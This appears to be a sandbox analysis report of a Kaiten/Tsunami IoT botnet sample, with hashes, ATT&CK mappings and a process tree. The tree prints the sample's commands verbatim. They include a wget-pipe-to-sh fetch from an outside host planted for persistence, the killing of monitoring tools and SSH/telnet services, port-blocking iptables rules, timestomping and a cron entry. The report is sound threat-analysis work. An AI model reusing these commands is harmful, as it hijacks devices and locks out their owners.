kaiten | ad9162326a496844c139082232e33015bca4fcd4d90c4747f0c356fd95a8891a

Analysis

max time kernel
149s
max time network
149s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
08-09-2024 13:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d47a5da273175a5971638995146e8056_JaffaCakes118
Size

44KB
MD5

d47a5da273175a5971638995146e8056
SHA1

a3dc8373171b19d410e9d63f4924425c082589ea
SHA256

ad9162326a496844c139082232e33015bca4fcd4d90c4747f0c356fd95a8891a
SHA512

86c1f4fceaef41bae7fd9c5ba561fbc316f66d74e4c1da2c92e8601a725e2eed73fa58cbc04e9455b9caabe01ed3ae89608c83e9d36596171f8444064e078110
SSDEEP

768:qRhqau1AvhmBFWWJCRgAatS7YeD6CLPvR8IwKKaU3amTkfzaJgGlzDpyuR1JT13c:QhqauKhALAgV0YSxhvw6CaevVcuRK3

Score

10^/10

kaiten botnet defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 1 IoCs

resource	yara_rule
behavioral1/memory/735-1-0x00400000-0x00460a94-memory.dmp	family_kaiten2

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
753	chmod
751	sh

Writes DNS configuration 1 TTPs 2 IoCs

Writes data to DNS resolver config file.

Adversary-in-the-Middle

T1557

description	ioc	Process
File opened for modification	/etc/resolv.conf	sh
File opened for modification	/etc/resolv.conf	sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.X3iV8M	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Indicator Removal: Timestomp 1 TTPs 2 IoCs

Adversaries may remove indicators of compromise from the host to evade detection.

defense_evasion

Timestomp

T1070.006

pid	Process
901	sh
903	touch

Enumerates kernel/hardware configuration 1 TTPs 9 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/362/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/127/stat	killall
File opened for reading	/proc/847/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/69/stat	killall
File opened for reading	/proc/680/stat	killall
File opened for reading	/proc/726/stat	killall
File opened for reading	/proc/175/stat	killall
File opened for reading	/proc/72/stat	killall
File opened for reading	/proc/127/cmdline	killall
File opened for reading	/proc/81/stat	killall
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/362/stat	killall
File opened for reading	/proc/23/stat	killall
File opened for reading	/proc/236/stat	killall
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/727/stat	killall
File opened for reading	/proc/126/stat	killall
File opened for reading	/proc/674/stat	killall
File opened for reading	/proc/74/stat	killall
File opened for reading	/proc/384/stat	killall
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/381/stat	killall
File opened for reading	/proc/384/stat	killall
File opened for reading	/proc/77/stat	killall
File opened for reading	/proc/75/stat	killall
File opened for reading	/proc/677/stat	killall
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/674/stat	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/732/stat	killall
File opened for reading	/proc/381/stat	killall
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/677/stat	killall
File opened for reading	/proc/78/stat	killall
File opened for reading	/proc/126/stat	killall
File opened for reading	/proc/677/stat	killall
File opened for reading	/proc/77/stat	killall
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/74/stat	killall
File opened for reading	/proc/334/stat	killall
File opened for reading	/proc/814/stat	killall
File opened for reading	/proc/882/stat	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/804/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/847/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/110/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/73/stat	killall
File opened for reading	/proc/716/stat	killall
File opened for reading	/proc/726/stat	killall
File opened for reading	/proc/808/stat	killall
File opened for reading	/proc/384/stat	killall
File opened for reading	/proc/1/stat	killall

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/udevd0.pid	d47a5da273175a5971638995146e8056_JaffaCakes118

/tmp/d47a5da273175a5971638995146e8056_JaffaCakes118
/tmp/d47a5da273175a5971638995146e8056_JaffaCakes118
1⤵
- Writes file to tmp directory
PID:735
- /bin/sh
  sh -c "killall -9 tcpdump > /dev/null 2>&1 &"
  2⤵
  PID:736
- /bin/sh
  sh -c "killall -9 strace > /dev/null 2>&1 &"
  2⤵
  PID:739
- /bin/sh
  sh -c "nvram set rc_firewall=\"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh\" > /dev/null 2>&1 "
  2⤵
  PID:741
- /bin/sh
  sh -c "nvram commit > /dev/null 2>&1"
  2⤵
  PID:743
- /bin/sh
  sh -c "( echo \"sleep 120 && wget -q -O - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" > /etc/persistent/rc.poststart ) > /dev/null 2>&1"
  2⤵
  PID:748
- /bin/sh
  sh -c "chmod 755 /etc/persistent/rc.poststart > /dev/null 2>&1 "
  2⤵
  - File and Directory Permissions Modification
  PID:751
- - /bin/chmod
    chmod 755 /etc/persistent/rc.poststart
    3⤵
    - File and Directory Permissions Modification
    PID:753
- /bin/sh
  sh -c "cfgmtd -w -p /etc/ > /dev/null 2>&1 "
  2⤵
  PID:755
- /bin/sh
  sh -c "( cfgmtd -w -p /etc/ && sleep 432000 && reboot & ) > /dev/null 2>&1"
  2⤵
  PID:757
- /bin/sh
  sh -c "( cat /mnt/Config/S1_01timezone | grep -v derpcity | grep -v wireless > /var/run/.x00 ) > /dev/null 2>&1"
  2⤵
  PID:761
- - /bin/cat
    cat /mnt/Config/S1_01timezone
    3⤵
    PID:764
- - /bin/grep
    grep -v derpcity
    3⤵
    PID:765
- - /bin/grep
    grep -v wireless
    3⤵
    PID:766
- /bin/sh
  sh -c "( echo \"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" >> /var/run/.x00 ) > /dev/null 2>&1"
  2⤵
  PID:769
- /bin/sh
  sh -c "( cat /var/run/.x00 > /mnt/Config/S1_01timezone )> /dev/null 2>&1"
  2⤵
  PID:772
- /bin/sh
  sh -c "rm -rf /var/run/pty > /dev/null 2>&1 &"
  2⤵
  PID:775
- /bin/sh
  sh -c "rm -rf /tmp/pty > /dev/null 2>&1 &"
  2⤵
  PID:777
- /bin/sh
  sh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"
  2⤵
  - Writes DNS configuration
  PID:780
- /bin/sh
  sh -c "killall -9 telnetd > /dev/null 2>&1 &"
  2⤵
  PID:783
- /bin/sh
  sh -c "service httpd stop > /dev/null 2>&1 &"
  2⤵
  PID:785
- /bin/sh
  sh -c "service telnetd stop > /dev/null 2>&1 &"
  2⤵
  PID:787
- /bin/sh
  sh -c "service sshd stop > /dev/null 2>&1 &"
  2⤵
  PID:790
- /bin/sh
  sh -c "killall -9 telnetd > /dev/null 2>&1 &"
  2⤵
  PID:792
- /bin/sh
  sh -c "killall -9 utelnetd > /dev/null 2>&1 &"
  2⤵
  PID:797
- /bin/sh
  sh -c "killall -9 dropbear > /dev/null 2>&1 &"
  2⤵
  PID:802
- /bin/sh
  sh -c "killall -9 sshd > /dev/null 2>&1 &"
  2⤵
  PID:806
- /bin/sh
  sh -c "killall -9 minihttpd > /dev/null 2>&1 &"
  2⤵
  PID:809
- /bin/sh
  sh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:812
- - /bin/cat
    cat /var/run/thttpd.pid
    3⤵
    PID:821
- /bin/sh
  sh -c "nvram set httpd_enable=0 > /dev/null 2>&1"
  2⤵
  PID:820
- /bin/sh
  sh -c "nvram set http_enable=0 > /dev/null 2>&1"
  2⤵
  PID:827
- /bin/sh
  sh -c "killall -9 httpd > /dev/null 2>&1 &"
  2⤵
  PID:828
- /bin/sh
  sh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:830
- - /bin/cat
    cat /var/run/httpd.pid
    3⤵
    PID:834
- /bin/sh
  sh -c "rm -rf /var/run/wgsh > /dev/null 2>&1 &"
  2⤵
  PID:833
- /bin/sh
  sh -c "rm -rf /var/run/bbsh > /dev/null 2>&1 &"
  2⤵
  PID:836
- /bin/sh
  sh -c "rm -rf /var/run/tty0 > /dev/null 2>&1 &"
  2⤵
  PID:838
- /bin/sh
  sh -c "rm -rf /var/run/tty2 > /dev/null 2>&1 &"
  2⤵
  PID:841
- /bin/sh
  sh -c "rm -rf /var/run/tty3 > /dev/null 2>&1 &"
  2⤵
  PID:844
- /bin/sh
  sh -c "rm -rf /var/run/tty4 > /dev/null 2>&1 &"
  2⤵
  PID:846
- /bin/sh
  sh -c "rm -rf /var/run/tty5 > /dev/null 2>&1 &"
  2⤵
  PID:851
- /bin/sh
  sh -c "rm -rf /var/run/tty6 > /dev/null 2>&1 &"
  2⤵
  PID:853
- /bin/sh
  sh -c "rm -rf /tmp/tty0 > /dev/null 2>&1 &"
  2⤵
  PID:855
- /bin/sh
  sh -c "rm -rf /tmp/tty2 > /dev/null 2>&1 &"
  2⤵
  PID:857
- /bin/sh
  sh -c "rm -rf /tmp/tty3 > /dev/null 2>&1 &"
  2⤵
  PID:859
- /bin/sh
  sh -c "rm -rf /tmp/tty4 > /dev/null 2>&1 &"
  2⤵
  PID:862
- /bin/sh
  sh -c "rm -rf /tmp/tty5 > /dev/null 2>&1 &"
  2⤵
  PID:864
- /bin/sh
  sh -c "rm -rf /tmp/tty6 > /dev/null 2>&1 &"
  2⤵
  PID:866
- /bin/sh
  sh -c "killall -9 arm > /dev/null 2>&1 &"
  2⤵
  PID:868
- /bin/sh
  sh -c "killall -9 mips > /dev/null 2>&1 &"
  2⤵
  PID:870
- /bin/sh
  sh -c "killall -9 mipsel > /dev/null 2>&1 &"
  2⤵
  PID:872
- /bin/sh
  sh -c "killall -9 powerpc > /dev/null 2>&1 &"
  2⤵
  PID:874
- /bin/sh
  sh -c "killall -9 ppc > /dev/null 2>&1 &"
  2⤵
  PID:876
- /bin/sh
  sh -c "killall -9 daemon.armv4l.mod > /dev/null 2>&1 &"
  2⤵
  PID:878
- /bin/sh
  sh -c "killall -9 daemon.i686.mod > /dev/null 2>&1 &"
  2⤵
  PID:880
- /bin/sh
  sh -c "killall -9 daemon.mips.mod > /dev/null 2>&1 &"
  2⤵
  PID:882
- /bin/sh
  sh -c "killall -9 daemon.mipsel.mod > /dev/null 2>&1 &"
  2⤵
  PID:884
- /bin/sh
  sh -c "rm -rf /tmp/.xs/* > /dev/null 2>&1 &"
  2⤵
  PID:886
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 22 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:889
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 23 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:891
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 80 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:893
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 8080 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:895
- /bin/sh
  sh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"
  2⤵
  - Writes DNS configuration
  PID:897
- /bin/sh
  sh -c "chmod 700 /tmp/d47a5da273175a5971638995146e8056_JaffaCakes118 > /dev/null 2>&1 &"
  2⤵
  PID:899
- /bin/sh
  sh -c "touch -acmr /bin/ls /tmp/d47a5da273175a5971638995146e8056_JaffaCakes118"
  2⤵
  - Indicator Removal: Timestomp
  PID:901
- - /usr/bin/touch
    touch -acmr /bin/ls /tmp/d47a5da273175a5971638995146e8056_JaffaCakes118
    3⤵
    - Indicator Removal: Timestomp
    PID:903
- /bin/sh
  sh -c "(crontab -l | grep -v \"/tmp/d47a5da273175a5971638995146e8056_JaffaCakes118\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x001804289383) > /dev/null 2>&1"
  2⤵
  PID:905
- - /bin/grep
    grep -v /tmp/d47a5da273175a5971638995146e8056_JaffaCakes118
    3⤵
    PID:910
- - /usr/bin/crontab
    crontab -l
    3⤵
    PID:909
- - /bin/grep
    grep -v "no cron"
    3⤵
    PID:911
- - /bin/grep
    grep -v lesshts/run.sh
    3⤵
    PID:912
- /bin/sh
  sh -c "echo \"* * * * * /tmp/d47a5da273175a5971638995146e8056_JaffaCakes118 > /dev/null 2>&1 &\" >> /var/run/.x001804289383"
  2⤵
  PID:913
- /bin/sh
  sh -c "crontab /var/run/.x001804289383"
  2⤵
  PID:914
- - /usr/bin/crontab
    crontab /var/run/.x001804289383
    3⤵
    - Creates/modifies Cron job
    PID:915
- /bin/sh
  sh -c "rm -rf /var/run/.x001804289383"
  2⤵
  PID:916
- - /bin/rm
    rm -rf /var/run/.x001804289383
    3⤵
    PID:917
- /bin/sh
  sh -c "/bin/uname -n"
  2⤵
  PID:919
- - /bin/uname
    /bin/uname -n
    3⤵
    PID:920
- /bin/sh
  sh -c "/bin/uname -n"
  2⤵
  PID:921
- - /bin/uname
    /bin/uname -n
    3⤵
    PID:922

/usr/bin/killall
killall -9 tcpdump
1⤵
- Reads runtime system information
PID:737

/usr/bin/killall
killall -9 strace
1⤵
- Reads runtime system information
PID:740

/bin/rm
rm -rf /var/run/pty
1⤵
PID:776

/bin/rm
rm -rf /tmp/pty
1⤵
PID:779

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:784

/usr/sbin/service
service httpd stop
1⤵
PID:786
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:788
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:794
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:799
- /bin/systemctl
  systemctl list-unit-files --full "--type=socket"
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:814
- /bin/sed
  sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
  2⤵
  PID:815

/usr/sbin/service
service telnetd stop
1⤵
PID:789
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:793
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:798
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:804
- /bin/systemctl
  systemctl list-unit-files --full "--type=socket"
  2⤵
  - Enumerates kernel/hardware configuration
  PID:817
- /bin/sed
  sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
  2⤵
  PID:818

/usr/sbin/service
service sshd stop
1⤵
PID:791
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:796
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:803
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:807
- /bin/systemctl
  systemctl list-unit-files --full "--type=socket"
  2⤵
  - Enumerates kernel/hardware configuration
  PID:825
- /bin/sed
  sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
  2⤵
  PID:826

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:795

/usr/bin/killall
killall -9 utelnetd
1⤵
- Reads runtime system information
PID:800

/usr/bin/killall
killall -9 dropbear
1⤵
- Reads runtime system information
PID:805

/usr/bin/killall
killall -9 sshd
1⤵
- Reads runtime system information
PID:808

/usr/bin/killall
killall -9 minihttpd
1⤵
- Reads runtime system information
PID:811

/usr/local/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop httpd.service
1⤵
PID:786

/usr/local/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop httpd.service
1⤵
PID:786

/usr/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop httpd.service
1⤵
PID:786

/usr/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop httpd.service
1⤵
PID:786

/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop httpd.service
1⤵
PID:786

/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop httpd.service
1⤵
- Enumerates kernel/hardware configuration
PID:786

/usr/bin/killall
killall -9 httpd
1⤵
- Reads runtime system information
PID:829

/usr/local/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop telnetd.service
1⤵
PID:789

/usr/local/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop telnetd.service
1⤵
PID:789

/usr/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop telnetd.service
1⤵
PID:789

/usr/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop telnetd.service
1⤵
PID:789

/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop telnetd.service
1⤵
PID:789

/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop telnetd.service
1⤵
- Enumerates kernel/hardware configuration
PID:789

/usr/local/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop sshd.service
1⤵
PID:791

/usr/local/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop sshd.service
1⤵
PID:791

/usr/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop sshd.service
1⤵
PID:791

/usr/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop sshd.service
1⤵
PID:791

/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop sshd.service
1⤵
PID:791

/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop sshd.service
1⤵
- Enumerates kernel/hardware configuration
PID:791

/bin/rm
rm -rf /var/run/wgsh
1⤵
PID:835

/bin/rm
rm -rf /var/run/bbsh
1⤵
PID:837

/bin/rm
rm -rf /var/run/tty0
1⤵
PID:840

/bin/rm
rm -rf /var/run/tty2
1⤵
PID:843

/bin/rm
rm -rf /var/run/tty3
1⤵
PID:845

/bin/rm
rm -rf /var/run/tty4
1⤵
PID:850

/bin/rm
rm -rf /var/run/tty5
1⤵
PID:852

/bin/rm
rm -rf /var/run/tty6
1⤵
PID:854

/bin/rm
rm -rf /tmp/tty0
1⤵
PID:856

/bin/rm
rm -rf /tmp/tty2
1⤵
PID:858

/bin/rm
rm -rf /tmp/tty3
1⤵
PID:861

/bin/rm
rm -rf /tmp/tty4
1⤵
PID:863

/bin/rm
rm -rf /tmp/tty5
1⤵
PID:865

/bin/rm
rm -rf /tmp/tty6
1⤵
PID:867

/usr/bin/killall
killall -9 arm
1⤵
- Reads runtime system information
PID:869

/usr/bin/killall
killall -9 mips
1⤵
- Reads runtime system information
PID:871

/usr/bin/killall
killall -9 mipsel
1⤵
- Reads runtime system information
PID:873

/usr/bin/killall
killall -9 powerpc
1⤵
- Reads runtime system information
PID:875

/usr/bin/killall
killall -9 ppc
1⤵
- Reads runtime system information
PID:877

/usr/bin/killall
killall -9 daemon.armv4l.mod
1⤵
- Reads runtime system information
PID:879

/usr/bin/killall
killall -9 daemon.i686.mod
1⤵
- Reads runtime system information
PID:881

/usr/bin/killall
killall -9 daemon.mips.mod
1⤵
- Reads runtime system information
PID:883

/usr/bin/killall
killall -9 daemon.mipsel.mod
1⤵
- Reads runtime system information
PID:885

/bin/rm
rm -rf "/tmp/.xs/*"
1⤵
PID:888

/sbin/iptables
iptables -A INPUT -p tcp --dport 22 -j DROP
1⤵
PID:890

/sbin/iptables
iptables -A INPUT -p tcp --dport 23 -j DROP
1⤵
PID:892

/sbin/iptables
iptables -A INPUT -p tcp --dport 80 -j DROP
1⤵
PID:894

/sbin/iptables
iptables -A INPUT -p tcp --dport 8080 -j DROP
1⤵
PID:896

/bin/chmod
chmod 700 /tmp/d47a5da273175a5971638995146e8056_JaffaCakes118
1⤵
PID:900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Indicator Removal

T1070

Timestomp

T1070.006

Credential Access

Adversary-in-the-Middle

T1557

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Adversary-in-the-Middle

T1557

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/run/.x00

Filesize
87B

MD5
e9edd49b68669411a5e0ee7edbeb022a

SHA1
83dac91e569f69ea4a4325b7fb979721bb13f07d

SHA256
cbf58a1d936bfb8a4c4f272f96c57f67ae5c8a0dfc56e17e8117ac8a12fba892

SHA512
da53b5620ccbffd257db206836844bb7fdf3202a852009b459f672b9ccbc7e91c0fc58dcf98410ef2a7b21e9f9655a33bd9439cb1fdb8114d925cb9b674e30c2

Download Submit
/run/.x001804289383

Filesize
81B

MD5
b3a7c83080cecfcbd001b48d62304eee

SHA1
d7394d70092165b989b0bba50214b85bff6041a2

SHA256
2c866b28ecf08184f88da93d52cf8cc20849bacb7ea740f45ac57c38cf2b0adb

SHA512
d46b15d16ad779975ceca1bf806d6780e7f4a26812a68ca2d8aad61017d43943a422344deb497f8e84809cc9986f3fd8eaeaedfa8cce1ae9542bb24e62466d45

Download Submit
/var/spool/cron/crontabs/tmp.X3iV8M

Filesize
278B

MD5
16b3e82cfed4bdfcaa12989adfab3e52

SHA1
e7ac9f2e854ed9ff8377365a06710ab9fa81a9ed

SHA256
1685f87861ee41b4dd85e2956b03cfbad220146535324b1b31fafacb23e28788

SHA512
8427b589abca8bfa913cef8a5264d15d2e55208a102d8d1bd5cdb6e2b252c60ddca5e8f2dc3d2ae9b50733cd9b4613744168a386d29978dd2498d9396140e733

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads